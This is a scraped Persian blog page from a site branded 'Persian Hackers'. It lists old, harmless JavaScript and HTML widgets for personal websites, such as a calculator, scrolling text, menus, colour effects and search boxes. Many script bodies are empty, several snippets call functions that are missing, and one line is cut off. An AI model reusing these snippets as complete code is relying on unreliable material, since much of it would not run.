[ Persian Hackers Digital Security Team - Resurce Of Hacking And Security ]

صفحه نخست | جستجو | آرشيو | لينکدوني |فروشگاه

وب سایت ما در حال حاظر بنابر دلایلی غیر قابل دسترس است !

www.persianhackers.ir : تا راه اندازی مجدد وب سایت میتوانید برای ورود به وبلاگ از این دامین هم استفاده کنید

: لينک هاي ثابت

خريد فيلم هري پاتر و محفل ققنوس با زيرنويس فارسي قابل اجرا در ويدئو سي دي !

دانلود مقاله آموزشي ماکرومديا فلش هشت قسمت اول

دانلود مقاله آموزشي هک قسمت دوم

ا لينکدوني - مطالب جالب و خواندني از سراسر وب

دیاکو - اخبار IT و مطالب جالب و علمی از سراسر وب . . . خلیج عربی ؟ ؟ ؟ اعتراض به تغییر نام خلیج همیشه فارس به خلیج عربی در گوگل - شما هم اعتراض خود را ثبت کنید ! اگر میخواهید باز دید روزانه از وبلاگ یا وب سایتتان 80 % افزایش پیدا کنید اینجا کلیک کنید ! نظر بزرگان در باره ایران خرید فیلم هری پاتر 5 با زیرنویس فارسی پازل با طرح پارسی

| نوشته شده توسط آرشام هکر در دسته : |

کد امکان ارسال ایمیل

<SCRIPT LANGUAGE=JavaScript> //Modified by CoffeeCup Software //This code is Copyright (c) 1998 CoffeeCup Software //All rights reserved. License is granted to a single user to //reuse this code on a personal or business Web Site.  </SCRIPT> <FORM name="ccform" method="post" action="http://www.msaeed.250free.com/you@yourprovider.com" enctype="text/plain"> <INPUT type=hidden name="Message"> <FONT FACE="VERDANA, ARIAL"><B>Name:</B></FONT><P> <INPUT type="text" size=25 name="name" onChange="coffeemsg()"> <P> <FONT FACE="VERDANA, ARIAL"><B>Phone:</B><P> <INPUT type="text" size=25 name="phone" onChange="coffeemsg()"> <P> <FONT FACE="VERDANA, ARIAL"><B>Email:</B></FONT><P> <INPUT type="text" size=25 name="email" onChange="coffeemsg()"> <P> <FONT FACE="VERDANA, ARIAL"><B>Subject:</B></FONT><P> <INPUT type="text" size=25 name="subject" onChange="coffeemsg()"> <P> <FONT FACE="VERDANA, ARIAL"><B>Message:</B></FONT><P> <TEXTAREA rows=5 cols=45 wrap="auto" name=message onChange="coffeemsg()">

کد دکمه ای در حال حرکت

<form name="form2" action=mailto:m_hackeri@yahoo.com> <input type="submit" name="banner" VALUE=".......Submit......." onClick="alert('Here We go !')"> <br> </form> <script language="JavaScript"> // Modified by CoffeeCup Software var id,pause=0,position=0; function banner() { // variables declaration var i,k,msg=" Mail Mail MAil Mail MAil"; // increase msg k=(60/msg.length)+1; for(i=0;i<=k;i++) msg+=" "+msg; // show it to the window document.form2.banner.value=msg.substring(position,position+60); // set new position if(position++==msg.length) position=0; // repeat at entered speed id=setTimeout("banner()",150); } // end --> banner(); </script>

کد ماشین حساب در سایت

<CENTER> <FORM name="Keypad" action=""> <TABLE> <B> <TABLE border=2 width=50 height=60 cellpadding=1 cellspacing=5> <TR> <TD colspan=3 align=middle> <input name="ReadOut" type="Text" size=24 value="0" width=100%> </TD> <TD </TD> <TD> <input name="btnClear" type="Button" value=" C " onclick="Clear()"> </TD> <TD><input name="btnClearEntry" type="Button" value=" CE " onclick="ClearEntry()"> </TD> </TR> <TR> <TD> <input name="btnSeven" type="Button" value=" 7 " onclick="NumPressed(7)"> </TD> <TD> <input name="btnEight" type="Button" value=" 8 " onclick="NumPressed(8)"> </TD> <TD> <input name="btnNine" type="Button" value=" 9 " onclick="NumPressed(9)"> </TD> <TD> </TD> <TD> <input name="btnNeg" type="Button" value=" +/- " onclick="Neg()"> </TD> <TD> <input name="btnPercent" type="Button" value=" % " onclick="Percent()"> </TD> </TR> <TR> <TD> <input name="btnFour" type="Button" value=" 4 " onclick="NumPressed(4)"> </TD> <TD> <input name="btnFive" type="Button" value=" 5 " onclick="NumPressed(5)"> </TD> <TD> <input name="btnSix" type="Button" value=" 6 " onclick="NumPressed(6)"> </TD> <TD> </TD> <TD align=middle><input name="btnPlus" type="Button" value=" + " onclick="Operation('+')"> </TD> <TD align=middle><input name="btnMinus" type="Button" value=" - " onclick="Operation('-')"> </TD> </TR> <TR> <TD> <input name="btnOne" type="Button" value=" 1 " onclick="NumPressed(1)"> </TD> <TD> <input name="btnTwo" type="Button" value=" 2 " onclick="NumPressed(2)"> </TD> <TD> <input name="btnThree" type="Button" value=" 3 " onclick="NumPressed(3)"> </TD> <TD> </TD> <TD align=middle><input name="btnMultiply" type="Button" value=" * " onclick="Operation('*')"> </TD> <TD align=middle><input name="btnDivide" type="Button" value=" / " onclick="Operation('/')"> </TD> </TR> <TR> <TD> <input name="btnZero" type="Button" value=" 0 " onclick="NumPressed(0)"> </TD> <TD> <input name="btnDecimal" type="Button" value=" . " onclick="Decimal()"> </TD> <TD colspan=3> </TD> <TD> <input name="btnEquals" type="Button" value=" = " onclick="Operation('=')"> </TD> </TR> </TABLE> </TABLE> </B> </FORM> </CENTER> <font face="Verdana, Arial, Helvetica" size=2> <SCRIPT LANGUAGE="JavaScript">  </SCRIPT>

کد نشان دهنده مدت زمان به وجود آمدن صفحه

<SCRIPT LANGUAGE="JavaScript"> function DateEstablished(startmonth, startdate, startyear) { sdate=startdate; smonth=startmonth-1; syear=startyear; var DaysInMonth = new Array(31,28,31,30,31,30,31,31,30,31,30,31); today = new Date() var thisyear = today.getFullYear(); var thismonth = today.getMonth(); var thisdate = today.getDate(); mstart = new Date(syear,(smonth==12?1:smonth+1),1); days1 = (mstart - new Date(syear,smonth,sdate))/(24*60*60*1000)-1; mend = new Date(thisyear,thismonth,1); days2 = (new Date(thisyear,thismonth,thisdate) - mend)/(24*60*60*1000)+1; dayst = days1 + days2; if (dayst >= DaysInMonth[smonth]) { AddOneMonth = 1; dayst -= DaysInMonth[smonth]; } else AddOneMonth = 0; ydiff1 = thisyear-mstart.getFullYear(); mdiff1 = thismonth-mstart.getMonth()+AddOneMonth; if (mdiff1 >11) { mdiff1=0; ydiff1++; } if (mdiff1 < 0) { mdiff1 = mdiff1 + 12; ydiff1--; } temp = (ydiff1==0?"":(ydiff1==1?ydiff1+" year and ":ydiff1 + " years, ")); temp += (mdiff1==0?"0 months, and ":(mdiff1==1?mdiff1+" month, and ":mdiff1+" months, and ")); temp += (dayst==0?"no days":(dayst==1 ? " 1 day." : dayst + " days." )); return temp; } </script>  <SCRIPT LANGUAGE="JavaScript"> document.write("My Website has been in existence for "); document.write("<font color=red>"); document.write(DateEstablished(06,09,69)); // Enter the dates your site was created. day,month,year document.write("</font>"); </script>

کد نشان دهنده تصویر

<HEAD> <SCRIPT LANGUAGE="JavaScript"> function CoffeePreview(sel) { document.CoffeePreview.src = "" + sel.options[sel.selectedIndex].value; } function CoffeeShow(sel) { images = new Array(); images[1] = "1.jpg"; images[2] = "2.jpg"; images[3] = "3.jpg"; images[4] = "4.jpg"; images[5] = "5.jpg"; images[6] = "6.jpg"; window.location.href = images[sel.selectedIndex+1]; } // End --> </script> </HEAD>  <BODY> <center> <form name=previewselect> <select name=selbox size=1 onChange="CoffeePreview(this)"> <option value="1-small.jpg">Image #1 <option value="2-small.jpg">Image #2 <option value="3-small.jpg">Image #3 <option value="4-small.jpg">Image #4 <option value="5-small.jpg">Image #5 <option value="6-small.jpg">Image #6 </select> <p> <img name="preview" src="1-small.jpg" tppabs="http://www.msaeed.250free.com/1-small.jpg" width=150 height=113 border=1> <p> <input type=button value="view Image" onclick="CoffeeShow(this.form.selbox)"> </form> </center>

کد منوی کشویی لینک که با کلیک بلافاصله وارد لینک شود

کد منوی کشویی لینک که با اسکرول نیز وارد لینک می شود

<script language="JavaScript"> function CC_go(form) {var myindex=form.dest.selectedIndex window.open(form.dest.options[myindex].value, target="_parent", "toolbar=yes,scrollbars=yes,location=yes"); } </script> <form name="CC_LinkForm"> <select name="dest" SIZE=1> <option selected value="">Places to go <option value="http://www.msaeed.250free.com/">Webloger Website <option value="http://msaeed.250freet.com/">CNET <option value="http://www.msaeed.250free.com">Tucows </select> <P> <input type="button" value="Link Me!" onClick="CC_go(this.form)"> </form>

کد به حرکت در آوردن اسکرول لاک از بالا به پایین

<SCRIPT LANGUAGE="JavaScript">  </SCRIPT> </HEAD> <BODY onload="scroller()"> <CENTER> <font face="VERDANA, ARIAL" size="5" color=804040>Rolling Credits</font><p> <font face="VERDANA, ARIAL" size="4">This script allows you to: <HR WIDTH=350 NOSHADE> <P> www.khafankadeh.7p.com<P> Place<P> text<P> descriptions<p> of <P>any <P>sort<p> and it will <P>scroll up<p> the page <P>until its done.<p> <P> You can even<P> make <A HREF="javascript:if(confirm('http://www.msaeed.250free.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://www.msaeed.250free.com/'" tppabs="http://www.msaeed.250free.com/">Links.</A><p> Or<P> use<P> images.<p> <p></font> </CENTER>

کدنمایش لینک به صورت منویی

<SCRIPT LANGUAGE="JavaScript">  </SCRIPT> <STYLE TYPE="text/css">  </STYLE> </HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" onLoad="init()"> <DIV ID="slideoutInterface"> <DIV ID="slideoutSidebar1"><P ALIGN=CENTER><A HREF="javascript:slideout(slideout1)">Contact Us</A></P></DIV> <DIV ID="slideoutSidebar2"><P ALIGN=CENTER><A HREF="javascript:slideout(slideout2)">Help</A></P></DIV> <DIV ID="slideoutSidebar3"><P ALIGN=CENTER><A HREF="javascript:slideout(slideout3)">Services</A></P></DIV> <DIV ID="slideoutSidebar4"><P ALIGN=CENTER><A HREF="javascript:slideout(slideout4)">Products</A></P></DIV> <DIV ID="slideoutSidebar5"><P ALIGN=CENTER><A HREF="javascript:slideout(slideout5)">Order</A></P></DIV> <DIV ID="slideoutContent"> <DIV ID="slideoutContent1"> <P ALIGN="CENTER"><STRONG>Contact Us</STRONG> <P> <TABLE BORDER=0 WIDTH=275><TD> You can add <A HREF="javascript:if(confirm('http://www.msaeed.250free.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://www.msaeed.250free.com/'" tppabs="http://www.msaeed.250free.com/"><FONT COLOR=BLUE>Links</FONT></A>. <P> Or images: <IMG SRC="smile.gif" tppabs="http://www.msaeed.250free.com/smile.gif" BORDER=0 HEIGHT=11 WIDTH=11> <P> Or just use text to explain what you have or what you are doing. </TD></TABLE> </P> </DIV> <DIV ID="slideoutContent2"> <P ALIGN="CENTER"><STRONG>Help</STRONG> <P> <TABLE BORDER=0 WIDTH=275><TD> You can add <A HREF="javascript:if(confirm('http://www.msaeed.250free.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://www.msaeed.250free.com/'" tppabs="http://www.msaeed.250free.com/"><FONT COLOR=BLUE>Links</FONT></A>. <P> Or images: <IMG SRC="smile.gif" tppabs="http://www.msaeed.250free.com/smile.gif" BORDER=0 HEIGHT=11 WIDTH=11> <P> Or just use text to explain what you have or what you are doing. </TD></TABLE> </P> </DIV> <DIV ID="slideoutContent3"> <P ALIGN="CENTER"><STRONG>Services</STRONG> <P> <TABLE BORDER=0 WIDTH=275><TD> You can add <A HREF="javascript:if(confirm('http://www.msaeed.250free.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://www.msaeed.250free.com/'" tppabs="http://www.msaeed.250free.com/"><FONT COLOR=BLUE>Links</FONT></A>. <P> Or images: <IMG SRC="smile.gif" tppabs="http://www.msaeed.250free.com/smile.gif" BORDER=0 HEIGHT=11 WIDTH=11> <P> Or just use text to explain what you have or what you are doing. </TD></TABLE> </P> </DIV> <DIV ID="slideoutContent4"> <P ALIGN="CENTER"><STRONG>Products</STRONG> <P> <TABLE BORDER=0 WIDTH=275><TD> You can add <A HREF="javascript:if(confirm('http://www.msaeed.250free.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://www.msaeed.250free.com/'" tppabs="http://www.msaeed.250free.com/"><FONT COLOR=BLUE>Links</FONT></A>. <P> Or images: <IMG SRC="smile.gif" tppabs="http://www.msaeed.250free.com/smile.gif" BORDER=0 HEIGHT=11 WIDTH=11> <P> Or just use text to explain what you have or what you are doing. </TD></TABLE> </P> </DIV> <DIV ID="slideoutContent5"> <P ALIGN="CENTER"><STRONG>Order</STRONG> <P> <TABLE BORDER=0 WIDTH=275><TD> You can add <A HREF="javascript:if(confirm('http://www.msaeed.250free.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://www.msaeed.250free.com/'" tppabs="http://www.msaeed.250free.com/"><FONT COLOR=BLUE>Links</FONT></A>. <P> Or images: <IMG SRC="smile.gif" tppabs="http://www.msaeed.250free.com/smile.gif" BORDER=0 HEIGHT=11 WIDTH=11> <P> Or just use text to explain what you have or what you are doing. </TD></TABLE> </P> </DIV> </DIV> </BODY> </HTML>

کد دو خط قرمز بسیار زیبا به دنبال موس

[FrontPage Save Results Component]

<style>  </style>  <div id="leftright" style="width:expression(document.body.clientWidth-2)"></div> <div id="topdown" style="height:expression(document.body.clientHeight-2)"></div> <script language="JavaScript1.2">  </script>

کد پرش به بالای صفحه

[FrontPage Save Results Component]

<script>  </script>

کد منوی زیبایی که همیشه همراهتان ا ست

[FrontPage Save Results Component]

<STYLE TYPE="text/css">  </STYLE>  <SCRIPT Language="Javascript1.2">  </SCRIPT>

کد تغییر رنگ پشت صفحه

[FrontPage Save Results Component]

<script> // Modified by CoffeeCup Software function initArray() { this.length = initArray.arguments.length for (var i = 0; i < this.length; i++) this[i+1] = initArray.arguments[i] } var hexChars = "0123456789ABCDEF"; function Dec2Hex (Dec) { var a = Dec % 16; var b = (Dec - a)/16; hex = "" + hexChars.charAt(b) + hexChars.charAt(a); return hex; } function bgChanger (begin, end, steps) { steps = steps -1 ; redA = begin.charAt(0) + begin.charAt(1); red_valA = parseInt(redA,'16'); redB = end.charAt(0) + end.charAt(1); red_valB = parseInt(redB,'16'); red_int = ((red_valB - red_valA) / steps) * -1; grnA = begin.charAt(2) + begin.charAt(3); grn_valA = parseInt(grnA,'16'); grnB = end.charAt(2) + end.charAt(3); grn_valB = parseInt(grnB,'16'); grn_int = ((grn_valB - grn_valA) / steps) * -1; bluA = begin.charAt(4) + begin.charAt(5); blu_valA = parseInt(bluA,'16'); bluB = end.charAt(4) + end.charAt(5); blu_valB = parseInt(bluB,'16'); blu_int = ((blu_valB - blu_valA) / steps) * -1; step = 2; red = red_valA; grn = grn_valA; blu = blu_valA; document.bgColor = begin; while ( steps >= step ) { red -= red_int; red_round = Math.round(red); red_hex = Dec2Hex(red); grn -= grn_int; grn_round = Math.round(grn); grn_hex = Dec2Hex(grn); blu -= blu_int; blu_round = Math.round(blu); blu_hex = Dec2Hex(blu); document.bgColor = red_hex + grn_hex + blu_hex; step++; } document.bgColor = end; } </script> </head> <body bgcolor=#000000 text=#FFFFFF link="FF0000" vlink="8888FF" alink="FF00FF"> <script>  </script> </head> <body> <BODY BGCOLOR=000000 text="#ffffff" link="#0000ff" vlink="#c00c0"> <CENTER><H2>msaeed.250free</CENTER></H2>

کد دکمه ای برای خاموش و روشن کردن صفحه

<SCRIPT LANGUAGE="JavaScript"> //Modified by CoffeeCup Software //This code is Copyright (c) 1997 CoffeeCup Software //all rights reserved. License is granted to a single user to //reuse this code on a personal or business Web Site. function blinkOn(){ theWin.document.bgColor = "#000000" nTimes++ CCTimeOutID = window.setTimeout("blinkOff()",250); } function blinkOff(){ theWin.document.bgColor = "FFFFFF" if (nTimes < 5) CCTimeOutID = window.setTimeout("blinkOn()",250); else theWin.history.go(0) } function blinkCC(aWin) { nTimes = 0 theWin = aWin CCTimeOutID = window.setTimeout("blinkOn()",250); } </SCRIPT> <CENTER><FORM><INPUT TYPE="BUTTON" VALUE="On/Off Switch" onClick="blinkCC(self)"></FORM></CENTER>

کد رنگی کردن اسکرول بار

کد گذاشتن جستجو در سایت یا وبلاگ

[FrontPage Save Results Component]

<SCRIPT language=JavaScript> var NS4 = (document.layers); var IE4 = (document.all); var win = window; var n = 0; function findInPage(str) { var txt, i, found; if (str == "") return false; if (NS4) { if (!win.find(str)) while(win.find(str, false, true)) n++; else n++; if (n == 0) alert("Not found."); } if (IE4) { txt = win.document.body.createTextRange(); for (i = 0; i <= n && (found = txt.findText(str)) != false; i++) { txt.moveStart("character", 1); txt.moveEnd("textedit"); } if (found) { txt.moveStart("character", -1); txt.findText(str); txt.select(); txt.scrollIntoView(); n++; } else { if (n > 0) { n = 0; findInPage(str); } else alert("(( ببخشيد... كلمه اي كه نوشتي تو وبلاگ نيست)) "); } } return false; } </SCRIPT> <FORM name=search onsubmit="return findInPage(this.string.value);"> <P align=center><FONT size=3><INPUT style="BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; FONT-SIZE: 8pt; BORDER-LEFT: #666666 1px solid; BORDER-BOTTOM: #666666 1px solid" onchange="n = 0;" size=11 name=string></FONT><BR><INPUT style="BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #ffffff 1px solid; FONT-SIZE: 8pt; BORDER-LEFT: #ffffff 1px solid; BORDER-BOTTOM: #ffffff 1px solid; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #aaaaaa" type=submit value=جستجو در وبلاگ ><center><font size=2pt;><font family=Times New Roman;><b><A title=persianblog href="javascript:if(confirm('http://www.msaeed.250free.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://www.msaeed.250free.com/'" tppabs="http://www.msaeed.250free.com/">Javascripts </A><BR> </P></FORM></DIV><BR>

کد گلباران در سایت

[FrontPage Save Results Component]

کد جستوجو گر گوگل در سایت

[FrontPage Save Results Component]

<center> <FORM method=GET action="http://www.google.com/search"> <TABLE bgcolor="#FFFFFF"><tr><td> <A HREF="javascript:if(confirm('http://www.google.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://www.google.com/'" tppabs="http://www.google.com/"> <IMG SRC="Logo_40wht.gif" tppabs="http://www.google.com/logos/Logo_40wht.gif" <br>border="0" ALT="Google" align="absmiddle"></A> <INPUT TYPE=text name=q size=31 maxlength=255 value=""> <INPUT TYPE=hidden name=hl value="en"> <INPUT type=submit name=btnG VALUE="Google Search"> </td></tr></TABLE> </FORM> </center>

کد جستجوگر ام اس ان در سایت

[FrontPage Save Results Component]

<html> <head> <meta name="GENERATOR" content="Microsoft FrontPage 5.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>New Page 2</title> </head> <body> <table BORDER="0" WIDTH="222" HEIGHT="18"> <tr> <td WIDTH="214" HEIGHT="10"> <form NAME="search" ID="search" ACTION="http://search.msn.com/results.asp" METHOD="get"> <p><a HREF="javascript:if(confirm('http://www.msn.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://www.msn.com/'" tppabs="http://www.msn.com/"> <img SRC="splogo_min.gif.htm" tppabs="http://go.msn.com/AG/E/0.asp" width="61" height="33" BORDER="0" ALT="Go to msn.com"></a><font FACE="arial" SIZE="2"><strong>Search <font COLOR="#808080">the Web for:</font></strong></font><br> <input TYPE="text" ID="q" SIZE="18" MAXLENGTH="251" NAME="q" VCARD_NAME="SearchText"><input TYPE="submit" VALUE="Search" NAME="B1"><input TYPE="hidden" NAME="FORM" VALUE="FRNT"><input TYPE="hidden" NAME="un" VALUE="doc"><input TYPE="hidden" NAME="v" VALUE="1"></p> </form> </td> </tr> <tr> <td WIDTH="214" HEIGHT="21" VALIGN="bottom"> <p ALIGN="center"><font SIZE="1" FACE="arial"> <a HREF="javascript:if(confirm('http://search.msn.com/advanced.asp?MT=&RS=CHECKED&Form=FRNT \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://search.msn.com/advanced.asp?MT=&RS=CHECKED&Form=FRNT'" tppabs="http://search.msn.com/advanced.asp?MT=&RS=CHECKED&Form=FRNT">Use Advanced Search</a></font></td> </tr> </table> <p> </p> </body> </html> </body> </html>

کد دکمه ی عقب و جلو در سایت

<SCRIPT LANGUAGE="JavaScript">  </script> <FORM METHOD="post"> <INPUT TYPE="button" VALUE=" BACK " onClick="goHist(-1)"> <INPUT TYPE="button" VALUE="FORWARD" onClick="goHist(1)"> </form>

[Fr
کد نمایش متن ها به طور زیبا

     <HTML> <HEAD> <style type="text/css">  </style> <script type="text/javascript" language="javascript">  </script> </HEAD> <BODY BGCOLOR="#000000" text="#CCCCCC" link="#FFFFFF" vlink="#FFFFFF" onload="layout()"> <div id=fadeMe01></div> <div id=fadeMe02></div> <noscript> Silly! you'll need to have javascript enabled and you must have <a href="javascript:if(confirm('http://www.microsoft.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://www.microsoft.com/'" tppabs="http://www.microsoft.com/">Internet Explorer 4</a> or <a href="javascript:if(confirm('http://developer.netscape.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http:/msaeed.250free.com/'" tppabs="http://developer.netscape.com/">Netscape Navagitor 4</a> or <a href="javascript:if(confirm('http://msaeed.250free.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?'))window.location='http://developer.webtv.net/'" tppabs="http://msaeed.250free.com/">WebTV</a>(?) for this script to work. </noscript> </BODY> </HTML> 

کد تغییر رنگ پشت صفحه بر اساس کد رنگ

    <SCRIPT Language = "JavaScript"> start = new Date(); minstart = start.getMinutes() secstart = start.getSeconds() function brighter(){ var now = new Date(); var seconds = now.getSeconds(); var minutes = now.getMinutes(); var base = "00"; var color = 1000; var interval = 103; var sec= interval * (seconds - secstart); var min= 60 * interval * (minutes - minstart); var add= color + min + sec; total= base + add; if (add>=9999) {secstart = seconds; minstart = minutes} document.bgColor = total; setTimeout("brighter()", 1000); document.coffeeform.cc.value = total; } </script> </HEAD> <body onLoad = "brighter()" text="white" LINK="C0C0C0" VLINK="C0C0C0"> <form name="coffeeform"> <P>This is the hex code of the current background color <input name = "cc" type="text" size="7"> </form>

کد برای از چپ به راست بردن اسکرول

 <HEAD> <SCRIPT Language="JavaScript"> //Modified by CoffeeCup Software //This code is Copyright (c) 1997 CoffeeCup Software //all rights reserved. License is granted to a single user to //reuse this code on a personal or business Web Site.  </SCRIPT> </HEAD> <BODY OnLoad="coffeeit()" BGCOLOR=#000000 TEXT=#FFFFFF LINK=#FF0000 VLINK=#FF0000 ALINK=#FF0000> <P><P><P><BR><BR><BR><P><P><P><BR><BR><BR><P><P><P><P><BR><BR><BR><P><P><P> <FONT SIZE=5 FACE=ARIAL BLACK>...................................................................This..Javascript..allows..the..user..to..slide..through..your..webpage.....You..can..also..end..it..with..a..<A HREF="index.htm" tppabs="http://www.msaeed.250free.com/">link</A>..!</FONT>

کد نمایش متن متحرک در نوت پد

 <script language="JavaScript"> function makeArray() { this.length = makeArray.arguments.length for (var i = 0; i < this.length; i++) this[i+1] = makeArray.arguments[i] } var fArray = new makeArray; fArray[0]="Message www.msaeed.250free.com goes here. " fArray[1]="Message www.msaeed.250free goes here. " fArray[2]="Message 3 goes here. " fArray[3]="Message 4 goes here. " var x = 1; var y = 0; var msg1 = fArray[y]; function newsFeed() { if (x==msg1.length+1) { for (var z=0; z < 7000; z++); y+=1; if (y > 3) y=0; document.form1.news2.value=' '; msg1 = fArray[y]; x=0; } document.form1.news2.value=msg1.substring(0,x); x+=1; setTimeout("newsFeed() ",1); } </script> <body bgcolor=teal link=goldenrod onLoad="newsFeed()"> <form name="form1"> <textarea wrap=physical rows=10 cols=25 name="news2">

کد اطلاعاتی در مورد صفحه

 <BODY> <CENTER> <TABLE border=2 cellspacing=0 cellpadding=3> <TR><TD bgcolor="#000044"> <FONT color="#4400ff" face=georgia,arial size=+1> <CENTER> <SCRIPT LANGUAGE="JavaScript">  </SCRIPT> </TD></TR> <TR><TD bgcolor="#336699"> <FONT size=-1 color="#66ccff" face="trebuchet MS","arial"> <FONT color="#66ccff">Born on:</font>  May 11, 1979 <BR> <SCRIPT LANGUAGE="JavaScript">  </SCRIPT> </FONT> </TD></TR> </TABLE> </CENTER>

کد منوی کشوی لینک پس از انتخاب و زدن دکمه وارد لینک شود

[FrontPage Save Results Component]
    <center> <SCRIPT LANGUAGE="JavaScript">  </SCRIPT> </center>  <!/SCRIPT>

کد یک منو بسیار زیبا

[FrontPage Save Results Component]
  <style>  </style></HEAD> <BODY> <ilayer id="coffeemenu01" height=35px> <layer id="coffeemenu02" visibility=show> <span id="wrapper"> <span id="wrapper2" onClick="dropit2();event.cancelBubble=true;return false"> <font face="Verdana"><b><a href="javascript:if(confirm('http://www.msaeed.250free.com/notthisbrowser.html \n\nThis file was not retrieved by Teleport Pro, because the server reports that this file cannot be found. \n\nDo you want to open it from the server?'))window.location='http://www.msaeed.250free.com/notthisbrowser.html'" tppabs="http://www.msaeed.250free.com/notthisbrowser.html">Click Here To Navigate</a></b></font> </span> </span> </layer> </ilayer> <script language="JavaScript1.2"> var enableeffect=true var selection=new Array() selection[0]='<font face="ARIAL BLACK"><a href="http://www.msaeed.250free.com">Order Our Stuff</a><br>' selection[1]='<a href="http://www.msaeed.250free.com">Contact Us via E-mail</a><br>' selection[2]='<a href="http://www.msaeed.250free.com">Help With Our Items</a><br>' selection[3]='<a href="http://www.msaeed.250free.com">Products We Have</a><br>' selection[4]='<a href="http://www.msaeed.250free.com">Services We Offer</a><br></font>' if (document.layers) document.coffeemenu01.document.coffeemenu02.visibility='show' function dropit2(){ if (document.all){ coffeemenu03.style.left=document.body.scrollLeft+event.clientX-event.offsetX coffeemenu03.style.top=document.body.scrollTop+event.clientY-event.offsetY+18 if (coffeemenu03.style.visibility=="hidden"){ if (enableeffect) coffeemenu03.filters.revealTrans.apply() coffeemenu03.style.visibility="visible" if (enableeffect) coffeemenu03.filters.revealTrans.play() } else{ hidemenu() } } } function dropit(e){ if (document.coffeemenu03.visibility=="hide") document.coffeemenu03.visibility="show" else document.coffeemenu03.visibility="hide" document.coffeemenu03.left=e.pageX-e.layerX document.coffeemenu03.top=e.pageY-e.layerY+19 return false } function hidemenu(){ if (enableeffect) coffeemenu03.filters.revealTrans.stop() coffeemenu03.style.visibility="hidden" } function hidemenu2(){ document.coffeemenu03.visibility="hide" } if (document.layers){ document.coffeemenu01.document.coffeemenu02.captureEvents(Event.CLICK) document.coffeemenu01.document.coffeemenu02.onclick=dropit } else if (document.all) document.body.onclick=hidemenu </script> <div id="coffeemenu03" style="position:absolute;left:0;top:0;layer-background-color:#C0C0C0;background-color:#C0C0C0;width:200;visibility:hidden;border:2px solid black;padding:0px"> <script language="JavaScript1.2"> if (document.all) coffeemenu03.style.padding='4px' for (i=0;i<selection.length;i++) document.write(selection[i]) </script> </div> <script language="JavaScript1.2"> if (document.layers){ document.coffeemenu03.captureEvents(Event.CLICK) document.coffeemenu03.onclick=hidemenu2 } </script> 

کد نمایش پیام به صورت افکت

  <body onload="if (document.all||document.layers) {regenerate2();update()}"> <style>  </style> <div id="msgline"> <div id="msgtext" class="msgtextfont">Starting Messages...</div> </div> <script language="JavaScript1.2"> var speed=4000 var news=new Array() news[0]="<a href='http://www.msaeed.250free.com'>First line of text....</a>" news[1]="<a href='http://www.msaeed.250free.com'>Second line of text....</a>" news[2]="<a href='http://www.msaeed.250free.com'>Third line of text....</a>" news[3]="<a href='http://www.msaeed.250free.com'>Add as many as you want....</a>" i=0 if (document.all) tickerobject=document.all.msgtext.style else tickerobject=document.msgline.document function regenerate(){ window.location.reload() } function regenerate2(){ if (document.layers) setTimeout("window.onresize=regenerate",450) } function update(){ BgFade(0xff,0xff,0xff, 0x00,0x00,0x00,10); if (document.layers){ document.msgline.document.msgtext.document.write('<span class="msgtextfont">'+news[i]+'</span>') document.msgline.document.msgtext.document.close() } else document.all.msgtext.innerHTML=news[i] if (i<news.length-1) i++ else i=0 setTimeout("update()",speed) } function BgFade(red1, grn1, blu1, red2, grn2, blu2, steps) { sred = red1; sgrn = grn1; sblu = blu1; ered = red2; egrn = grn2; eblu = blu2; inc = steps; step = 0; MsgDither(); } function MsgDither() { var epct = step/inc; var spct = 1 - epct; if (document.layers) tickerobject.bgColor = Math.floor(sred * spct + ered * epct)*256*256 + Math.floor(sgrn * spct + egrn * epct)*256 + Math.floor(sblu * spct + eblu * epct); else tickerobject.backgroundColor= Math.floor(sred * spct + ered * epct)*256*256 + Math.floor(sgrn * spct + egrn * epct)*256 + Math.floor(sblu * spct + eblu * epct); if ( step < inc ) { setTimeout('MsgDither()',50); } step++; } </script> 

کد نمایش متن به صورت افکت

[FrontPage Save Results Component]
